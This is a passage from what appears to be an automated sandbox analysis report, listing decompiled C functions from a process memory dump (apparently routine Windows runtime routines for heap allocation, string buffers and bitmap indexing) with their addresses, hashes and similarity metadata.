				_push(0x24);
				_push(0x34b0220);
				E0342D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x34c7b9c; // 0x0
				_t55 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E0342D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x34c7b10 =  *0x34c7b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x34c536c; // 0x2f88bf0
					if( *_t51 != 0x34c5368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x34c5368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x34c536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E0340A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x0340a61c
0x0340a61e
0x0340a623
0x0340a628
0x0340a62b
0x0340a62d
0x0340a648
0x0340a64a
0x0340a64f
0x03449b44
0x0340a6ec
0x0340a6f1
0x0340a6f1
0x0340a655
0x0340a657
0x0340a65a
0x0340a65d
0x0340a662
0x0340a663
0x0340a667
0x0340a668
0x0340a66d
0x0340a706
0x0340a706
0x03449bda
0x03449be6
0x03449beb
0x00000000
0x03449beb
0x0340a679
0x03449b7a
0x00000000
0x03449b7a
0x0340a683
0x0340a6f4
0x0340a6f7
0x0340a6f9
0x0340a6fd
0x0340a6a0
0x0340a6a0
0x0340a6ad
0x0340a6af
0x0340a6b4
0x03449ba7
0x03449bac
0x00000000
0x00000000
0x03449bc6
0x03449bce
0x03449bd1
0x03449bd3
0x03449bd3
0x00000000
0x03449bd1
0x0340a6bd
0x0340a6c3
0x0340a6c6
0x0340a6d2
0x0340a701
0x0340a704
0x00000000
0x0340a704
0x0340a6d4
0x0340a6d6
0x0340a6d9
0x0340a6db
0x0340a6e1
0x0340a6e6
0x0340a6e8
0x0340a6e8
0x0340a6ea
0x00000000
0x0340a6ea
0x0340a688
0x0340a692
0x0340a694
0x0340a699
0x00000000
0x00000000
0x0340a69d
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e84d32f6afcdaf846cafaa34c384c55c0d16ab3ba4631e6082687383edc3bf5
Instruction ID: c6ded0b2e06e04d8dc25e0a26ce19842d496abe6bbbbbb073fe2b1aa1b548f29
Opcode Fuzzy Hash: 0e84d32f6afcdaf846cafaa34c384c55c0d16ab3ba4631e6082687383edc3bf5
Instruction Fuzzy Hash: 31415979A10345DFDB04CF59C490B9EBBF1BB89304F1981AAE814AF394D774A901CF98

Uniqueness

Uniqueness Score: -1.00%

Function 03413D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03413D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E033E7B60(0, _t61, 0x33b11c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E033E7B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L033F4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x03413d4c
0x03413d50
0x03413d55
0x03413d5e
0x0344e79a
0x00000000
0x0344e79a
0x03413d68
0x0344e789
0x03413d9d
0x03413da3
0x03413daf
0x03413db5
0x03413dbc
0x03413dc4
0x03413dc9
0x03413dce
0x0344e7ae
0x0344e7ae
0x03413dde
0x03413de2
0x03413de7
0x03413e0d
0x03413e13
0x03413e16
0x03413e1e
0x03413e25
0x03413e28
0x00000000
0x00000000
0x03413e2a
0x03413e2f
0x03413e37
0x03413e37
0x00000000
0x03413e37
0x03413e31
0x00000000
0x03413e31
0x03413e20
0x03413e20
0x03413e35
0x00000000
0x03413de9
0x03413de9
0x03413de9
0x03413dee
0x03413dfd
0x03413dff
0x03413e02
0x03413e05
0x03413e05
0x00000000
0x03413df0
0x03413de7
0x0344e78f
0x0344e794
0x03413d79
0x03413d84
0x03413d89
0x03413d8e
0x00000000
0x0344e7a4
0x03413d96
0x03413d9a
0x00000000
0x03413d9a
0x00000000
0x0344e794
0x03413d6e
0x03413d73
0x00000000
0x0344e7b5
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db3dfe14c976516c4f9e59d59c84db2322d79eed79258d4909ce545e73751d1e
Instruction ID: c4a2983f500e0194f195c48ee069ab7cca326cead37cf6d85acdfecc92888152
Opcode Fuzzy Hash: db3dfe14c976516c4f9e59d59c84db2322d79eed79258d4909ce545e73751d1e
Instruction Fuzzy Hash: E131AD39A00A15DBDB34CF29C981A6BBBA9EF45710B09807BE859CF350E730D852C798

Uniqueness

Uniqueness Score: -1.00%

Function 033FC182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E033FC182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E033F7D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E034A8D34(_v8, _t80);
					}
					E033F2280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E033EFFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E034A8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E033EFFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E0341B180();
						if(_a4 != 0) {
							E033F2280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E033FBB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E033FBB2D(_t16, _t15);
						E033FB944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E033EFFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E033EFFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E033EFFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x033fc18d
0x033fc18f
0x033fc191
0x033fc19b
0x033fc1a0
0x033fc1d4
0x033fc1de
0x03442d6e
0x033fc1e4
0x033fc1e4
0x033fc1e4
0x033fc1ec
0x03442d7d
0x03442d7d
0x033fc1f3
0x033fc1ff
0x03442d88
0x03442d8d
0x03442d94
0x03442d94
0x03442d9f
0x03442da4
0x03442dab
0x03442db0
0x03442db2
0x03442db3
0x03442db4
0x03442dbc
0x03442dc3
0x03442dc3
0x033fc205
0x033fc205
0x033fc208
0x033fc20e
0x033fc211
0x033fc216
0x033fc219
0x033fc21f
0x033fc222
0x033fc22c
0x033fc234
0x033fc23a
0x033fc23f
0x033fc245
0x033fc24b
0x033fc251
0x033fc25a
0x033fc276
0x033fc27d
0x033fc27d
0x033fc25c
0x033fc25c
0x00000000
0x033fc25e
0x033fc1a4
0x033fc1aa
0x033fc1b3
0x033fc265
0x033fc26c
0x033fc26c
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: d3cb3a4f563b4d8fcd4b2c7254658a74913f330f8bf61c5931f59faf31a816c5
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: DC312B75B4164ABEDB05EBB4C8C0BEAF758FF42204F48415AD51C4F341DB74AA56C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 03457016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03457016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x34cd360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E03456B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E03456B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E033F7D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E03419AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E0341B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L033F4620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x03457016
0x0345701e
0x0345702b
0x03457033
0x03457037
0x0345703c
0x0345703e
0x03457041
0x03457045
0x0345704a
0x03457050
0x03457055
0x0345705a
0x03457062
0x03457062
0x0345705a
0x03457064
0x03457064
0x03457067
0x03457071
0x03457096
0x0345709b
0x034570a2
0x034570a6
0x034570a7
0x034570ad
0x034570b3
0x034570b6
0x034570bb
0x034570c3
0x034570c3
0x034570c6
0x034570cd
0x034570dd
0x034570e0
0x034570e2
0x034570e2
0x034570ee
0x03457101
0x034570f0
0x034570f9
0x034570f9
0x0345710a
0x0345710e
0x03457112
0x03457117
0x03457118
0x03457118
0x034570bb
0x0345711d
0x03457123
0x03457131
0x03457131
0x03457136
0x0345713d
0x0345713e
0x0345713f
0x0345714a
0x0345714a
0x03457084
0x03457088
0x00000000
0x0345708e
0x0345708e
0x03457092
0x00000000
0x03457092

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3722068247ac72e71bd669966326c657499054411323bc64d681444de0938a63
Instruction ID: f65e85f91c0d2fe372313d4293519212b7025068d1deb623dc3975fc3b5cc0a3
Opcode Fuzzy Hash: 3722068247ac72e71bd669966326c657499054411323bc64d681444de0938a63
Instruction Fuzzy Hash: 32319376A047519FC320DF28C980A6BB7E5BF88640F044A2EFD959B791E734E904C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0340A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0340A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x34c7b10; // 0x8
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x34c7b10 = 8;
					 *0x34c7b14 = 0x34c7b0c;
					 *0x34c7b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x9
					E0340A990(0x34c7b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L0340A840(__edx, __ecx, __ecx, _t52, 0x34c7b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x34c7b10; // 0x8
					_t3 = _t37 + 0x27; // 0x2f
					__eflags = _t3 >> 5 -  *0x34c7b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x34c7b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x2f
						_v8 = _t4 >> 5;
						_t50 = L033F4620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x34c7b18 = _v8;
						_t8 = _t52 + 7; // 0xf
						E0341F3E0(_t50,  *0x34c7b14, _t8 >> 3);
						_t28 =  *0x34c7b14; // 0x771c7b0c
						__eflags = _t28 - 0x34c7b0c;
						if(_t28 != 0x34c7b0c) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x10
						 *0x34c7b14 = _t50;
						_t48 = _v12;
						 *0x34c7b10 = _t9;
						goto L6;
					}
					 *0x34c7b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x0340a713
0x0340a714
0x0340a717
0x0340a71d
0x0340a720
0x0340a722
0x0340a727
0x0340a74a
0x0340a754
0x0340a75e
0x0340a768
0x0340a76a
0x0340a773
0x0340a78b
0x0340a790
0x0340a792
0x0340a741
0x0340a741
0x0340a743
0x0340a749
0x0340a749
0x0340a732
0x0340a73a
0x0340a797
0x0340a79d
0x0340a7a3
0x0340a7a9
0x0340a7b6
0x0340a7bc
0x0340a7ca
0x0340a7e0
0x0340a7e2
0x0340a7e4
0x03449bf2
0x00000000
0x03449bf2
0x0340a7ed
0x0340a7f2
0x0340a800
0x0340a805
0x0340a80d
0x0340a812
0x03449c08
0x03449c08
0x0340a818
0x0340a81b
0x0340a821
0x0340a824
0x00000000
0x0340a824
0x0340a7ae
0x00000000
0x0340a7ae
0x0340a73c
0x0340a73e
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fecbcd2c4552d848ba4a44683c5e5febb5ce11791ee5af92198aa827cf527360
Instruction ID: 4f0dda9823006c64bb4d58ef7e0a9229500b80dbc3ab2219a1366ffeb4debacf
Opcode Fuzzy Hash: fecbcd2c4552d848ba4a44683c5e5febb5ce11791ee5af92198aa827cf527360
Instruction Fuzzy Hash: B531A0B97203449FC751DF18D880F6ABBF9FB84754F14496AE025AF288E770A901CF95

Uniqueness

Uniqueness Score: -1.00%

Function 033DAA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E033DAA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x34cd360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x34c7b9c; // 0x0
					_t53 = L033F4620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E0341B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E0341F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L033E6C59(_t53, _t51, _t58) != 0) {
							_t28 = E03405E50(0x33bc338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E0340B230(_v32, _v28, 0x33bc2d8, 1,  &_v24);
								_t28 = E033DF7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x033daa25
0x033daa29
0x033daa2d
0x033daa30
0x033daa37
0x033daa3c
0x03434458
0x03434458
0x03434472
0x03434474
0x03434476
0x033daa64
0x033daa74
0x0343447c
0x03434483
0x03434492
0x033daa52
0x033daa54
0x033daa5e
0x034344a8
0x034344ad
0x034344af
0x034344b6
0x034344b6
0x034344b9
0x034344bc
0x034344cd
0x034344d3
0x034344d6
0x034344e1
0x034344e1
0x034344e6
0x034344e8
0x034344fb
0x034344fb
0x034344e8
0x00000000
0x033daa5e
0x03434476
0x033daa42
0x033daa46
0x033daa48
0x033daa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b50cd0e86debe0fa1086f1ac6dc218613d04ff9e45939e9205016ca3a8f572d9
Instruction ID: cdd1df49e8240e3a8ebfe54598a913a6a544a7e074ee1cbead8681a3aa228c23
Opcode Fuzzy Hash: b50cd0e86debe0fa1086f1ac6dc218613d04ff9e45939e9205016ca3a8f572d9
Instruction Fuzzy Hash: EB31B472A00619AFCF10EF65CD81ABFB7B8EF08700B45416AF905EF250E7749911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 034061A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E034061A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E03405E50(0x33b67cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E034A9D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E033DF7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x034061b3
0x034061b5
0x034061bd
0x034061c3
0x034061c7
0x034061d2
0x034061ff
0x034061ff
0x03406201
0x03406207
0x03406207
0x034061d4
0x034061d9
0x00000000
0x00000000
0x034061df
0x034061e2
0x00000000
0x00000000
0x034061e6
0x034061e8
0x034061ee
0x034061ee
0x034061f9
0x0344762f
0x03447632
0x03447635
0x03447639
0x03447640
0x0344766e
0x03447675
0x00000000
0x00000000
0x03447681
0x03447689
0x0344768d
0x03447691
0x03447695
0x03447699
0x034476af
0x034476b5
0x034476b7
0x034476b7
0x034476d7
0x034476dc
0x00000000
0x034476dc
0x034476a2
0x034476a9
0x03447651
0x03447653
0x03447653
0x03447656
0x03447656
0x00000000
0x03447656
0x03447644
0x03447646
0x03447648
0x03447648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c584f7e1839879166115f3bf63080d7617e76161fb98377e70dd4ad2e22a2d8c
Instruction ID: 73c9bddad6919a2ac8968d0ce9b9bb048484064324ff2296bbfaa1f63e4383cc
Opcode Fuzzy Hash: c584f7e1839879166115f3bf63080d7617e76161fb98377e70dd4ad2e22a2d8c
Instruction Fuzzy Hash: 853159716057018FE320DF19C840B27FBE5EB88B10F09497EE9A59F3A1D7B4D8058B99

Uniqueness

Uniqueness Score: -1.00%

Function 03418EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E03418EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
